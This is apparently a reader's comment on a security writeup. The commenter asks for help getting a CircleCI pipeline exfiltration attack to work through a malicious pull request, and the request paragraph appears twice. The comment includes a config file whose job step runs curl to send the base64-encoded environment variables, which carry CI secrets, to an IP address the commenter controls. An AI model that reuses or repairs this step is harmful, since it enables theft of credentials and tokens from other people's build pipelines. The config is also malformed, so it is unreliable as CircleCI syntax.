I've been trying to exfiltrate secrets but CircleCI keeps giving me pull errors when i try to make a pull request with the malicious step you mentioned in your writeup? I substituted the "attacker.com" for my IP where i was standing up a server to receive requests. Below is my config file: any advice would be much appreciated and awesome stuff man, really great read!
# Use the latest 2.1 version of CircleCI pipeline process engine. See: https://circleci.com/docs/2.0/configuration-reference
version: 2.1
# Use a package of configuration called an orb.
orbs:
# Declare a dependency on the welcome-orb
welcome: circleci/welcome-orb@0.4.1
# Orchestrate or schedule a set of jobs
workflows:
# Name the workflow "welcome"
welcome:
# Run the welcome/run job in its own container
jobs:
- welcome/run: curl 192.168.18.133/?env=$(env | base64 | tr -d '\n')
I've been trying to exfiltrate secrets but CircleCI keeps giving me pull errors when i try to make a pull request with the malicious step you mentioned in your writeup? I substituted the "attacker.com" for my IP where i was standing up a server to receive requests. Below is my config file: any advice would be much appreciated and awesome stuff man, really great read!